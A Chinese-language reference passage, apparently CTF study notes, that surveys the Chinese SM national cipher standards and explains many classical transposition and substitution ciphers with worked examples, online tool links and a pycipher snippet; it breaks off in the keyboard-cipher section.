[guanzhi/GmSSL](https://github.com/guanzhi/GmSSL) - 支持国密 SM2/SM3/SM4/SM9/ZUC/SSL 的 OpenSSL 分支 - [duanhongyi/gmssl](https://github.com/duanhongyi/gmssl) - a python crypto for sm2/sm3/sm4 - [snowlandltd/snowland-smx-python](https://gitee.com/snowlandltd/snowland-smx-python) - 国密算法SM2,SM3,SM4,ZUC #### SM1 SM1 为对称加密.其加密强度与 AES 相当.该算法不公开,调用该算法时,需要通过加密芯片的接口进行调用. --- #### SM2 SM2 为非对称加密,基于 ECC.该算法已公开.由于该算法基于ECC,故其签名速度与秘钥生成速度都快于 RSA.ECC 256位(SM2 采用的就是 ECC 256 位的一种)安全强度比 RSA 2048 位高,但运算速度快于 RSA. --- #### SM3 SM3 消息摘要. 可以用 MD5 作为对比理解. 该算法已公开. 校验结果为 256 位. **相关文章** - [python SM3密码杂凑算法](https://blog.csdn.net/qq_37969092/article/details/113525749) --- #### SM4 SM4 无线局域网标准的分组数据算法.对称加密,密钥长度和分组长度均为128位. --- #### SM9 在商用密码体系中,SM9主要用于用户的身份认证。据新华网公开报道,SM9 的加密强度等同于3072位密钥的 RSA 加密算法. SM9主要包括三部分:签名算法、密钥交换算法、加密算法,其中SM9签名算法收录于ISO/IEC 14888-3:2018《信息安全技术带附录的数字签名第3部分:基于离散对数的机制》。 --- ## 古典密码 **相关文章** - [Leet - 维基百科,自由的百科全书](https://zh.wikipedia.org/wiki/Leet) - [纳瓦霍密码](https://baike.baidu.com/item/%E7%BA%B3%E7%93%A6%E9%9C%8D%E5%AF%86%E7%A0%81/9482868) **语义分析** - https://quipqiup.com/ --- ### 换位加密 #### 栅栏密码 栅栏密码(Rail-fence Cipher)就是把要加密的明文分成N个一组,然后把每组的第1个字符组合,每组第2个字符组合...每组的第N(最后一个分组可能不足N个)个字符组合,最后把他们全部连接起来就是密文,这里以2栏栅栏加密为例. - 明文: The quick brown fox jumps over the lazy dog - 去空格: Thequickbrownfoxjumpsoverthelazydog - 分组: Th eq ui ck br ow nf ox ju mp so ve rt he la zy do g - 第一组: Teucbonojmsvrhlzdg - 第二组: hqikrwfxupoeteayo - 密文: Teucbonojmsvrhlzdghqikrwfxupoeteayo **相关文章** - [Practical Cryptography](http://www.practicalcryptography.com/ciphers/classical-era/rail-fence/) **在线工具** - http://www.hiencode.com/railfence.html - W型 - https://www.qqxiuzi.cn/bianma/zhalanmima.php --- #### 曲路密码 曲路密码(Curve Cipher)是一种换位密码,需要事先双方约定密钥(也就是曲路路径). > 明文: The quick brown fox jumps over the lazy dog 填入5行7列表(事先约定填充的行列数) 加密的回路线(事先约定填充的行列数) > 密文: gesfc inpho dtmwu qoury zejre hbxva lookT --- #### 列移位密码 `Columnar Transposition Cipher` 列移位密码(Columnar Transposition Cipher)是一种比较简单,易于实现的换位密码,通过一个简单的规则将明文打乱混合成密文. > 以明文 The quick brown fox jumps over the lazy dog,密钥 how are u为例: 填入5行7列表(事先约定填充的行列数,如果明文不能填充完表格可以约定使用某个字母进行填充) 密钥: how are u 按how are u在字母表中的出现的先后顺序进行编号,我们就有a为1,e为2,h为3,o为4,r为5,u为6,w为7,所以先写出a列,其次e列,以此类推写出的结果便是密文: > 密文: qoury inpho Tkool hbxva uwmtd cfseg erjez 另外由列移位密码变化来的密码也有其他的,比如 Amsco密码 (Amsco Cipher)和 Cadenus密码 (Cadenus Cipher). **在线工具** - https://www.wishingstarmoye.com/ctf/columnar-transposition-cipher --- ### 替换加密 #### ADFGX **ADFGX 密码** ADFGX 密码(`ADFGX Cipher`)是结合了改良过的 Polybius 方格替代密码与单行换位密码的矩阵加密密码,使用了 5 个合理的密文字母:A,D,F,G,X,这些字母之所以这样选择是因为当转译成摩尔斯电码(ADFGX 密码是德国军队在一战发明使用的密码)不易混淆,目的是尽可能减少转译过程的操作错误. 加密矩阵: > 明文: THE QUICK BROWN FOX > >> 矩阵加密:XF AD DA AF XD XG GA FG XA FX DX GX DG FA DX FF >> >> 列移位密钥: how are u >> >> > > 密文: DXADF AGXF XFFXD FXGGX DGFG AADA ADXXF **ADFGVX 密码** ADFGVX 密码实际上就是 ADFGX 密码的扩充升级版,一样具有 ADFGX 密码相同的特点,加密过程也类似,不同的是密文字母增加了 V,使得可以再使用 10 数字来替换明文. 加密过程完全类似 **在线工具** - http://www.practicalcryptography.com/ciphers/adfgx-cipher/ --- #### Bazeries Bazeries 密码是换位密码和替换密码的组合,使用两个波利比奥斯方阵,一个明文字母方阵,使用一个随机的数字(一般小于1000000)的生成一个密钥矩阵同时作为第一轮明文划分分组,比如2333这个数字翻译为英文便是 TWO THOUSAND THREE HUNDRED THIRTY THREE,从第一个字母 T 开始选取不重复的字母,之后再从字母表中按序选取没有出现的字母组成密钥矩阵. 明文: `THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG` 随机数字: 2333 明文矩阵: ``` #!shell A F L Q V B G M R W C H N S X D I/J O T Y E K P U Z ``` 示例密钥矩阵: ``` #!shell T W O H U S A N D R E I/J Y B C F G K L M P Q V X Z ``` 明文分组: ``` #!shell 2 3 3 3 2 3 3 3 2 3 3 3 TH EQU ICK BRO WN FOX JUM PSO VE RTH ELA ZYD OG ``` 分组明文反序: ``` #!shell HT UQE KCI ORB WN XOF MUJ OSP EV EHT ALE DYZ GO ``` 使用密钥矩阵替换: ``` #!shell IL XHP QEG KDS YR CKW NXG KBV PU ILD TOP FMZ AK (比如'H'在明文矩阵对应到密钥矩阵的位置就是'I') ``` --- #### Digrafid Digrafid 密码(Digrafid Cipher)使用两个密钥生成分别生成类似波利比奥斯方阵的 3x9方格的密表.,主要有 3 分组和 4 分组两类. 第一个方阵密钥: `digrafid` 第二个方阵密钥: `cipher` 密表: #!shell 1 2 3 4 5 6 7 8 9 D I G R A F D B C 1 2 3 E H J L M N O P Q 4 5 6 S T U V W X Y Z # 7 8 9 c f s 1 i g t 2 p j u 3 h k v 4 e l w 5 r m x 6 a n y 7 b o z 8 d q # 9 明文: THE QUICK BROWN FOX 密表转换(以 4 分组为例): #!shell Th Eq Ui Ck Br Ow Nf Ox 2 1 3 9 8 7 6 7 7 5 7 2 1 6 5 6 4 9 2 4 6 5 1 6 说明:T 在第一矩阵第 2 列,h 在第二矩阵第 4 行,T 所在的行与 h 所在的列相交的位置数字为 7,所以 Th 表示为 274. 转换密文: #!shell 213 975 724 924 876 716 566 516 Ip #e Dk Ck Zr Dr Mx Ar --- #### Porta Porta 密码(`Porta Cipher`)是一个由意大利那不勒斯的医生Giovanni Battista della Porta发明的多表代换密码,Porta密码具有加密解密过程的是相同的特点. > 明文: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG > >> 密钥(循环使用,密钥越长相对破解难度越大): CULTURE > >> 加密过程:明文字母'T'列与密钥字母'C'行交点就是密文字母'F',以此类推. > > 密文: FRW HKQRY YMFMF UAA OLWHD ALWI JPT ZXHC NGV Porta 密码可以被以 维吉尼亚密码 破解相类似方式进行自动攻破,破解Porta密码第一步同样是先确定密钥长度 **在线工具** - https://www.wishingstarmoye.com/ctf/porta --- #### ROT ROT5/13/18/47 是一种简单的码元位置顺序替换暗码.此类编码具有可逆性,可以自我解密,主要用于应对快速浏览,或者是机器的读取. ROT5 是 rotate by 5 places 的简写,意思是旋转5个位置,其它皆同.下面分别说说它们的编码方式: - ROT5:只对数字进行编码,用当前数字往前数的第5个数字替换当前数字,例如当前为0,编码后变成5,当前为1,编码后变成6,以此类推顺序循环. - ROT13:只对字母进行编码,用当前字母往前数的第13个字母替换当前字母,例如当前为A,编码后变成N,当前为B,编码后变成O,以此类推顺序循环. > 明文: the quick brown fox jumps over the lazy dog > 密文: gur dhvpx oebja sbk whzcf bire gur ynml qbt - ROT18:这是一个异类,本来没有,它是将ROT5和ROT13组合在一起,为了好称呼,将其命名为ROT18. - ROT47:对数字、字母、常用符号进行编码,按照它们的 ASCII 值进行位置替换,用当前字符 ASCII 值往前数的第47位对应字符替换当前字符,例如当前为小写字母z,编码后变成大写字母K,当前为数字 0,编码后变成符号 _.用于 ROT47 编码的字符其ASCII值范围是33-126,具体可参考ASCII编码. **在线工具** - https://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php - http://www.mxcz.net/tools/rot13.aspx - https://www.rot13.com/ --- #### 埃特巴什码 埃特巴什码(Atbash Cipher)是一种以字母倒序排列作为特殊密钥的替换加密,也就是下面的对应关系: ABCDEFGHIJKLMNOPQRSTUVWXYZ ZYXWVUTSRQPONMLKJIHGFEDCBA 差不多就是把A换成Z,Z换成A > 明文: the quick brown fox jumps over the lazy dog > 密文: gsv jfrxp yildm ulc qfnkh levi gsv ozab wlt **在线工具** - https://www.wishingstarmoye.com/ctf/atbashcipher --- #### 查尔斯加密 `playfair` **在线工具** - http://rumkin.com/tools/cipher/playfair.php - https://www.wishingstarmoye.com/ctf/playfair --- #### 凯撒密码 凯撒密码(Caesar Cipher或称恺撒加密、恺撒变换、变换加密、位移加密)是一种替换加密,明文中的所有字母都在字母表上向后(或向前)按照一个固定数目进行偏移后被替换成密文.例,当偏移量是3的时候,所有的字母A将被替换成D,B变成E,以此类推. 实例: > 明文: The quick brown fox jumps over the lazy dog > 偏移量:1 > 密文: Uif rvjdl cspxo gpy kvnqt pwfs uif mbaz eph **在线工具** - https://www.xarg.org/tools/caesar-cipher/ - https://planetcalc.com/1434/ - http://www.zjslove.com/3.decode/kaisa/index.html --- #### 摩斯电码 摩尔斯电码(Morse Code)是由美国人萨缪尔·摩尔斯在1836年发明的一种时通时断的且通过不同的排列顺序来表达不同英文字母、数字和标点符号的信号代码,摩尔斯电码主要由以下5种代码组成: - 点(.) - 划(-) - 每个字符间短的停顿(通常用空格表示停顿) - 每个词之间中等的停顿(通常用 / 划分) - 以及句子之间长的停顿 摩尔斯电码字母和数字对应表: -|-|-|-|- -|-|-|-|- A .- |N -. |. .-.-.- |+ .-.-. |1 .---- B -... |O --- |, --..-- |_ ..--.- |2 ..--- C -.-. |P .--. |: ---... |$ ...-..- |3 ...-- D -.. |Q --.- |" .-..-. |& .-... |4 ....- E . |R .-. |' .----. |/ -..-. |5 ..... F ..-. |S ... |! -.-.-- |6 -.... G --. |T - |? ..--.. |7 --... H .... |U ..- |@ .--.-. |8 ---.. I .. |V ...- |- -....- |9 ----. J .--- |W .-- |; -.-.-. |0 ----- K -.- |X -..- |( -.--. L .-.. |Y -.-- |) -.--.- M -- |Z --.. |= -...- > 源文本: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG > 编码后:- .... . / --.- ..- .. -.-. -.- / -... .-. --- .-- -. / ..-. --- -..- / .--- ..- -- .--. ... / --- ...- . .-. / - .... . / .-.. .- --.. -.-- / -.. --- --. **在线工具** - http://rumkin.com/tools/cipher/morse.php - https://morsecode.scphillips.com/translator.html - https://morsify.net/ - http://www.atool.org/morse.php - http://www.zou114.com/mesm/ - http://zhongguosou.com/zonghe/moErSiCodeConverter.aspx - https://www.jb51.net/tools/morse.htm --- #### 简单替换密码 `Simple Substitution` 简单换位密码(Simple Substitution Cipher)加密方式是以每个明文字母被与之唯一对应且不同的字母替换的方式实现的,它不同于恺撒密码,因为密码字母表的字母不是简单的移位,而是完全是混乱的. 例子: > 明文字母 : abcdefghijklmnopqrstuvwxyz > 明文字母 : phqgiumeaylnofdxjkrcvstzwb > 明文: the quick brown fox jumps over the lazy dog > 密文: cei jvaql hkdtf udz yvoxr dsik cei npbw gdm 当密文数据足够多时这种密码我们可以通过字频分析方法破解或其他方法破解 - http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-simple-substitution-cipher/ - https://quipqiup.com **在线工具** - https://www.wishingstarmoye.com/ctf/simple-substitution --- #### 希尔密码 希尔密码(`Hill Cipher`)是基于线性代数多重代换密码,由Lester S. Hill在1929年发明.每个字母转换成26进制数字:A=0, B=1, C=2...Z=25一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果MOD26 **在线工具** - http://www.atoolbox.net/Tool.php?Id=914 --- #### 波利比奥斯方阵密码 `Polybius Square` 波利比奥斯方阵密码(`Polybius Square Cipher`或称`波利比奥斯棋盘`)是棋盘密码的一种,是利用波利比奥斯方阵进行加密的密码方式,简单的来说就是把字母排列好,用坐标(行列)的形式表现出来.字母是密文,明文便是字母的坐标. 常见的排布方式: 实例: > 明文: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG > > 密文: 442315 4145241325 1242345233 213453 2445323543 442315 31115554 143422 **在线工具** - https://www.wishingstarmoye.com/ctf/polybius-square - https://www.dcode.fr/polybius-cipher --- #### 夏多密码 `曲折加密` 夏多密码是作者麦克斯韦·格兰特在中篇小说《死亡之链》塑造夏多这一英雄人物中所自创的密码 在以上所示的字母表密钥的底部,列有四个附加符号1,2,3,4.他们可以放在密文中的任何地方.每个附加符号指示,如何转动写有密文的纸张,再进行后续的加密或解密操作,直到出现另一个附加符号.可以把每个附加符号中的那根线看作是指示针,它指示了纸张的上端朝上,朝右,朝下,朝左.比如说:如果出现符号3,那么纸张就应该转动180度,使其上端朝下; 符号2表示纸张上端朝右,依次类推. > 源文本: I AM IN DANGER SEND HELP(我有危险,速来增援) > > 密文: --- #### 普莱菲尔密码 普莱菲尔密码(`Playfair Cipher`)是第一种用于实际的双字替换密码,用双字加密取代了简单代换密码的单字加密,很明显这样使得密文更难破译,因为使用简单替换密码的频率分析基本没有什么作用,虽然频率分析,通常仍然可以进行,但是有25×25=625种可能而不是25种可能,可以分为三个步骤,即编制密码表、整理明文、编写译文,下面我们以明文: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 和密钥 CULTURE 为例来讲解.普莱菲尔密码又称为单方密码(Single Cipher)之后又出现它的升级版Double Playfair,也就是 二方密码 (Two-square Cipher),在之后又有四方密码(Four-square Cipher) **编制密码表** 1. 整理密钥字母 C U L T U R E ,去掉后面重复的字母得到: C U L T R E 2. 用上一步得到的字母自上而下来填补5乘5方表的纵列(也可横排),之后的空白按照相同的顺序用字母表中剩余的字母依次填补完整 这一步需要注意的要点:整理密钥字母时,如果出现"Z",则需要去除,因为在英文里"Z"的使用频率最低,相应的如果是德文,则需将"I"与"J"当作一个字母来看待,而法语则去掉"W"或"K". **整理明文** 我们要遵循的原则是"两个一组",得到是若干个两两成对的字母段,用到的是明文 THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 与字母" X ": 1. 将明文两两一组按顺序排开,得到: TH EQ UI CK BR OW NF OX JU MP SO VE RT HE LA ZY DO G 2. 对于末尾的单个字母要加上一个" X "使之成对: TH EQ UI CK BR OW NF OX JU MP SO VE RT HE LA ZY DO GX 这一步需要注意的要点:对于相连字母相同者,每个后面都需要加" X ",例如 TOMORROW ,需要写成: TO MO RX RX OW . **编写密文** 我们要得到的密文,当然,对于每个字母对,要严格遵循如下的原则: 1. 如果两个字母在同一行则要用它右邻的字母替换,如果已在最右边,则用该行最左边的替换,如明文为" CE ",依据上表,应替换为" EG "; 2. 如果两个字母在同一列则要用它下边的字母替换,如果已在最下边,则用该行最上边的替换,如明文为" OQ ",依据上表,应替换为" PS "; 3. 如果两个字母在不同的行或列,则应在密码表中找两个字母使四个字母组成一个矩形,明文占据两个顶点,需用另外两个顶点的字母替换,如明文为" HX ",可以替换为" WI/J "或" I/JW "(下面的例子将按照横向替换原则即同行优先). 按照上述原则,将明文 TH EQ UI CK BR OW NF OX JU MP SO VE RT HE LA ZY DO GX 加以转换得到 KU ND LH GT LF WU ES PW LH SI/J NP CG CR AG BU VZ QA I/JV (/表示或者,不过一般用I不用J,所以分析密文时你看25个字母都有而只差一个字母没有用到可以考虑一下这种加密方式)将得到的字母改为大写并五个一组列好,得到密文 KUNDL HGTLF WUESP WLHSI NPCGC RAGBU VZQAI V . --- #### 自动密钥密码 自动密钥密码(`Autokey Cipher`)是多表替换密码,与维吉尼亚密码密切相关,但使用不同的方法生成密钥,通常来说要比维吉尼亚密码更安全.自动密钥密码主要有两种,关键词自动密钥密码和原文自动密钥密码 例: > 明文: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG > >> 关键词: CULTURE > >> 自动生成密钥: CULTURE THE QUICK BROWN FOX JUMPS OVER THE > >> 加密过程和维吉尼亚密码类似,从密表可得: > > 密文: VBP JOZGD IVEQV HYY AIICX CSNL FWW ZVDP WVK **相关文章** - [Autokey Cipher](http://www.practicalcryptography.com/ciphers/autokey-cipher/) - https://zh.wikipedia.org/wiki/%E8%87%AA%E5%8A%A8%E5%AF%86%E9%92%A5%E5%AF%86%E7%A0%81 **在线工具** - http://www.atoolbox.net/Tool.php?Id=920 - https://www.wishingstarmoye.com/ctf/autokey **爆破密匙** - http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-autokey-cipher/ ```bash pip install pycipher ``` --- #### 博福特密码 `Beaufort Cipher` 博福特密码(`Beaufort Cipher`),是一种类似于维吉尼亚密码的代换密码,由弗朗西斯·蒲福(Francis Beaufort)发明.它最知名的应用是Hagelin M-209密码机.博福特密码属于对等加密,即加密演算法与解密演算法相同. > 明文: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG > >> 密钥(循环使用,密钥越长相对破解难度越大): CULTURE > >> 加密过程:如果第一行为明文字母,第一列为密文字母,那么沿明文字母'T'列出现密钥字母'C'的行号就是密文字母'J',以此类推. > > 密文: JNH DAJCS TUFYE ZOX CZICM OZHC BKA RUMV RDY **在线工具** - https://www.wishingstarmoye.com/ctf/beaufortcipher --- #### 滚动密钥密码 滚动密钥密码(`Running Key Cipher`)和维吉尼亚密码有着相同的加密机制,区别是密钥的选取,维吉尼亚使用的密钥简短,而且重复循环使用,与之相反,滚动密钥密码使用很长的密钥,比如引用一本书作为密钥.这样做的目的是不重复循环使用密钥,使密文更难破译,尽管如此,滚动密钥密码还是可以被攻破,因为有关于密钥和明文的统计分析模式可供利用,如果滚动密钥密码使用统计上的随机密钥来源,那么理论上是不可破译的,因为任何可能都可以成为密钥,并且所有的可能性都是相等的. > 明文: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG > >> 密钥:选取C语言编程(1978版)第63页第1行"errors can occur in several places. A label has...",去掉非字母部分作为密钥(实际选取的密钥很长,长度至少不小于明文长度). > >> 加密过程:加密过程和维吉尼亚密码加密过程相同 > > 密文: XYV ELAEK OFQYH WWK BYHTJ OGTC TJI DAK YESR --- #### 同音替换密码 同音替换密码(`Homophonic Substitution Cipher`)是单字母可以被其他几种密文字母同时替换的密码,通常要比标准替换密码破解更加困难,破解标准替换密码最简单的方法就是分析字母出现频率,通常在英语中字母'E'(或'T')出现的频率是最高的,如果我们允许字母'E'可以同时被3种不同字符代替,那么就不能还是以普通字母的频率来分析破解,如果允许可代替字符越多,那么密文就会更难破译. 常见代换规则表: > 明文: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG > > 密文(其中一种): 6CZ KOVST XJ0MA EQY IOGL4 0W1J UC7 P9NB F0H 如果同音替换密码的同音词个数很多,那么破解它难度很大,通常的方法采取类似破解替换密码的"爬山算法",除了找到一个明文字母映射几个字符之外,我们还需要确定映射了那些字符,可以尝试 [2层嵌套"爬山算法"](http://www.cs.sjsu.edu/faculty/stamp/RUA/homophonic.pdf) 来破解,外层确定映射的数量,内层确定映射字符. --- #### 仿射密码 仿射密码 (`Affine Cipher`) 是一种单表代换密码, 字母表中的每个字母相应的值使用一个简单的数学函数映射到对应的数值, 再把对应数值转换成字母. 每一个字母都是通过函数(ax + b)mod m 加密, 其中 B 是位移量, 为了保证仿射密码的可逆性, a 和 m 需要满足 gcd(a , m)=1, 一般 m 为设置为 26 这意味着每个字母加密都会返回一个相同的字母, 意义着这种加密方式本质上是一种标准替代密码. 因此, 它具有所有替代密码的弱点. 常见的字母对应关系: 以E(x) = (5x + 8) mod 26函数为例子 以E(x) = (5x + 8) mod 26加密,通过计算可得D(x)=21(x - 8) mod 26,这样便可以得到明文. **在线工具** - https://www.wishingstarmoye.com/ctf/affinecipher --- #### 培根密码 培根密码(Baconian Cipher)是一种替换密码,每个明文字母被一个由5字符组成的序列替换,最初的加密方式就是由'A'和'B'组成序列替换明文(所以你当然也可以用别的字母),比如字母'D'替换成"aaabb" 以下是全部的对应关系(另一种对于关系是每个字母都有唯一对应序列,I和J与U/V各自都有不同对应序列) |-|-|- |-|-|- A = aaaaa | I/J = abaaa | R = baaaa B = aaaab | K = abaab | S = baaab C = aaaba | L = ababa | T = baaba D = aaabb | M = ababb | U/V = baabb E = aabaa | N = abbaa | W = babaa F = aabab | O = abbab | X = babab G = aabba | P = abbba | Y = babba H = aabbb | Q = abbbb | Z = babbb **在线工具** - http://rumkin.com/tools/cipher/baconian.php - https://www.wishingstarmoye.com/ctf/bacon --- #### 双密码 `Bifid Cipher` 双密码(`Bifid Cipher`)结合了波利比奥斯方阵换位密码,并采用分级实现扩散,这里的"双"是指用 2 个密钥进行加密.双密码是由法国 Felix Delastelle 发明,除此之外 Felix Delastelle 还发明了三分密码(Trifid Cipher),四方密码(Four-Square Cipher).还有一个 两方密码 (Two-Square)与四方密码类似, 共轭矩阵双密码 (Conjugated Matrix Bifid Cipher)也是双密码的变种. ``` 示例密阵: - 1 2 3 4 5 1 p h q g m 2 e a y l n 3 o f d x k 4 r c v s z 5 w b u t i/j ``` > 明文: THE QUICK BROWN FOX > >> 经过密阵转换: >> >> 行: 512 15543 54352 333 >> >> 列: 421 33525 21115 214 > >> 分组: >> >> 51215 54354 35233 3 >> >> 42133 52521 11521 4 > >> 合并: >> >> 5121542133 5435452521 3523311521 34 > > 在经过密阵转换后密文: WETED TKZNE KYOME X **未知密阵破解** 手工分析破解双密码是有一定难度的,每个字母都是同过 3 个数字进行非线性代替转换,而且之后还会对字母顺序进行打乱,这样使双密码比一些替换密码和换位密码更难破解.然而,现在是计算机时代,这张加密方式没有安全性可言,通过 模拟退火 算法就能快速找到双密码的密阵. **在线工具** - https://www.wishingstarmoye.com/ctf/bifidcipher --- #### 三分密码 三分密码(Trifid Cipher)结合换位和替换,三分密码与双密码非常相似,差别之处就是用除了 3×3×3 的密阵代替 5×5 密阵. 示例密阵: #!shell 密阵顺序 = EPSDUCVWYM.ZLKXNBTFGORIJHAQ 方阵 1 方阵 2 方阵 3 1 2 3 1 2 3 1 2 3 1 E P S 1 M . Z 1 F G O 2 D U C 2 L K X 2 R I J 3 V W Y 3 N B T 3 H A Q 明文: THE QUICK BROWN FOX. 经过密阵转换: #!shell T H E Q U I C K B R O W N F O X . 2 3 1 3 1 3 1 2 2 3 3 1 2 3 3 2 2 3 3 1 3 2 2 2 2 3 2 1 3 3 1 1 2 1 3 1 1 3 2 2 3 2 2 1 3 2 1 1 3 3 2 T(233)表示 T 在第一个方阵第三行第三列的位置 分组(分组密钥以 5 为例): #!shell THEQU ICKBR OWNFO X. 23131 31223 31233 22 33132 22232 13311 21 31132 23221 32113 32 合并: #!shell 23131 33132 31132 31223 22232 23221 31233 13311 32113 22 21 32 在经过密阵转换后密文: #!shell 231313313231132312232223223221312331331132113222132 N O O N W G B X X L G H H W S K W --- #### 四方密码 `Four Square Cipher` 四方密码(Four-Square Cipher)是类似普莱菲尔密码双字母加密密码,这样使加密效果强于其他替换密码,因为频率分析变得更加困难了. 四方密码使用4个预先设置的5×5字母矩阵,每个矩阵包括25个字母,通常字母'j'被融入到'i'中(维基百科上说'q'被忽略,不过这不重要,因为'q'和'j'都是很少出现的字母),通常左上和右下矩阵式是标准字母排序明文矩阵,右上和左下矩阵是打乱顺序的密钥矩阵. 示例: 明文: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 整理明文(分组不够时用'X'填充): TH EQ UI CK BR OW NF OX JU MP SO VE RT HE LA ZY DO GX 加密过程:分别在明文矩阵中找到'TH',分别找到他们在右上矩阵有左下矩阵的交点字母'ES'就是密文,以此类推. 密文: ESZWQAFHGTDKWHRKUENYQOLMQTUNWMBPTGHQ **已知密钥矩阵加解密** #!python >>>from pycipher import Foursquare >>>fs = Foursquare('zgptfoihmuwdrcnykeqaxvsbl', 'mfnbdcrhsaxyogvituewlqzkp') >>>fs.encipher('THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG') 'ESZWQAFHGTDKWHRKUENYQOLMQTUNWMBPTGHQ' >>>fs.decipher('ESZWQAFHGTDKWHRKUENYQOLMQTUNWMBPTGHQ') 'THEQUICKBROWNFOXJUMPSOVERTHELAZYDOG' **未知密钥矩阵破解** 推荐一篇关于采用 模拟退火算法 的 四方密码分析 文章,如果有足够多的密文那么四方密码可以轻易被破解,如果知道了明文和密文推出密钥是很容易的,猜测部分明文是一个有效的方法去破解四方密码,如果一部分明文已知或者可以被猜测出 那么我们首先要确定尽可能多可利用的密钥,然后才可以进行更多的推测或者用其他的方法破译.基于四方密码分析一文实现的 C代码 破解示例: 密文(密文最好在200个字符以上): HMMKEQESDTMDHLAWFWMNKSOSFOMRFNLWLKHNSQGGEKXEOLLVDXNRSQQGARTFKSAVNUDL FNDHESPZGQ TWESAGPGSQSQSTPKUSBBQLQHESAGPGSQSQGXLNAVHTPMHMKKNYGSUGDMTPDGFNKYAVHX LWGEKRILESLZ ZOFNAVIHRHRKAGHSMYUGEGNSRGAVMVOQPRLNKRXLMYLQPXILESQYBNRHRKAGKYQXDIHM PGPYOERZOLBEZ LURFWLWUOLDDPNSQYAGMUQPQWESBEZVEQESDTMDBQLWDIUSHB 用法: #!shell gcc -O3 -lm foursquarecrack2.c scoreText_2.c -o fsc ./fsc 输出结果: #!shell Running foursquarecrack, this could take a few minutes... best score so far: -1239.505249, on iteration 1 Key: 'KFMLUGWSQEPOZTNRBHDAVXCIY','UGSVKFIZMOYXPQRWTHLNCABED' plaintext: 'THECIPHERTEXTSQUARESCANBEGENERATEDUSINGAKEYWORDDROPPINGDUPLICAT ELETTERSTHENFILLTHEREMAININGSPACESWITHTHEREMAININGLTTERSOFTHEA LPHABETINORDERALTERNATIVELYTHECIPHERTEXTSQUARESCANBGENERATEDCO MPLETELYRANDOMLYTHEFOURSQUAREALGORITHMALLOWSFORTWOSPARATEKEYSO NEFOREACHOFTHETWOCIPHERTEXTMATRICESX' **在线工具** - https://www.wishingstarmoye.com/ctf/four-square --- #### 棋盘密码 棋盘密码(`Checkerboard Cipher`)是使用一个波利比奥斯方阵和两个密钥作为密阵的替换密码,通常在波利比奥斯方阵中J字母往往被包含在I字母中. 示例密阵: ``` #!shell Q U I C K -------------- B |K N I/J G H R |P Q R S T O |O Y Z U A W |M X W V B N |L F E D C ``` 经过密阵替换: ``` #!shell 明文:T H E Q U I C K B R O W N F O X 密文:RK BK RU OC OC BI NK BQ WK RI OQ WI BU NU OQ WU ``` --- #### 跨棋盘密码 跨棋盘密码(`Straddle Checkerboard Cipher`)是一种替换密码,当这种密码在结合其他加密方式,加密效果会更好. 棋盘示例(选择3和7作为变换): ``` #!shell 0 1 2 3 4 5 6 7 8 9 f k m c p d y e 3: h b i g q r o s a z 7: l u t j n w v x 明文: T H E Q U I C K B R O W N F O X ``` 经过加密棋盘替换得到密文: `72 30 9 34 71 32 4 1 31 35 36 75 74 0 36 77` 当然我们还可以继续用其他的加密方式在对跨棋盘密码加密出的结果再进行加密: 示例变换密钥:83729 ``` #!shell 8372983729837298372983729837 +7230934713241313536757403677 ----------------------------- 5502817432078501808630122404 在经过棋盘转换后: #!shell 5502817432078501808630122404 ppfmyk n if pfkyfyd hkmmcfc ``` 最终得到密文: `ppfmyk n if pfkyfyd hkmmcfc` --- #### 分组摩尔斯替换密码 分组摩尔斯替换密码(`Fractionated Morse Cipher`)首先把明文转换为莫尔斯电码,不过每个字母之间用 x 分开,每个单词用 xx 分开.然后使用密钥生成一个替换密表,这个密表包含所有 . - x 组合的情况(因为不会出现 xxx 的情况,所以一共26种组合). 密钥: `MORSECODE` 密表: ``` #!shell MORSECDABFGHIJKLNPQTUVWXYZ .........---------XXXXXXXX ...---XXX...---XXX...---XX .-X.-X.-X.-X.-X.-X.-X.-X.- ``` 说明:密表下半部分是固定的,密表的安全性以及加密效果主要取决于使用的密钥. 明文: `THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG` (类似)摩尔斯电码: ``` #!shell -x....x.xx--.-x..-x..x-.-.x-.-xx-...x.-.x---x.--x-.xx..-.x---x-..-xx.---x..- --x.--.x...xx---x...-x.x.-.xx-x....x.xx.-..x.-x--..x-.--xx-..x---x--. ``` 说明:明文在转换为(类似)摩尔斯电码后进行每3个字符分组,再进行密表的查表. 密文(经过密表替换): LMUWC OQVHG ZMTAK EVYSW NOYJQ NLIQB JQCDH XMDYF TWRGP FWNH --- #### 格朗普雷密码 格朗普雷密码(`Grandpré Cipher`)是替换密码的一种,一般使用8个8字母的单词横向填充 8x8 方阵,且第一列为一个单词,并且在方阵中 26 个字母都必须出现一次以上. 示例密阵: #!shell 明文:T H E Q U I C K B R O W N F O 密文:84 27 82 41 51 66 31 36 15 71 67 73 52 34 67 > 说明:明文中的字母在密阵位置可能不止一个,所以加密结果可能有多种,但是不影响解密.密阵还有6x6,7x7,9x9,10x10几种.显然密阵越大每个字母被替换的情况就可能越多,那么加密效果就更好. --- #### 比尔密码 比尔密码(`Beale ciphers`)有三份密码,当然这里说的是已被破解第二份,是一种类似书密码的替换密码. 以第二密码为例,每一个数字代表美国《独立宣言》的文本中的第几个词的首字母,如1代表第1个词的首字母"w",2代表第2个词首字母"i".解密后的文字如下: I have deposited in the county of Bedford... 比尔密码还有一段有趣的故事,感兴趣可以看一下比尔密码的 [详细介绍](https://zh.wikipedia.org/wiki/%E6%AF%94%E5%B0%94%E5%AF%86%E7%A0%81) . --- #### 键盘密码 一般用到的键盘密码就是手机键盘和电脑键盘两种. ##### 手机键盘密码 手机键盘加密方式,是每个数字键上有 3-4 个字母,用两位数字来表示字母,例如:ru 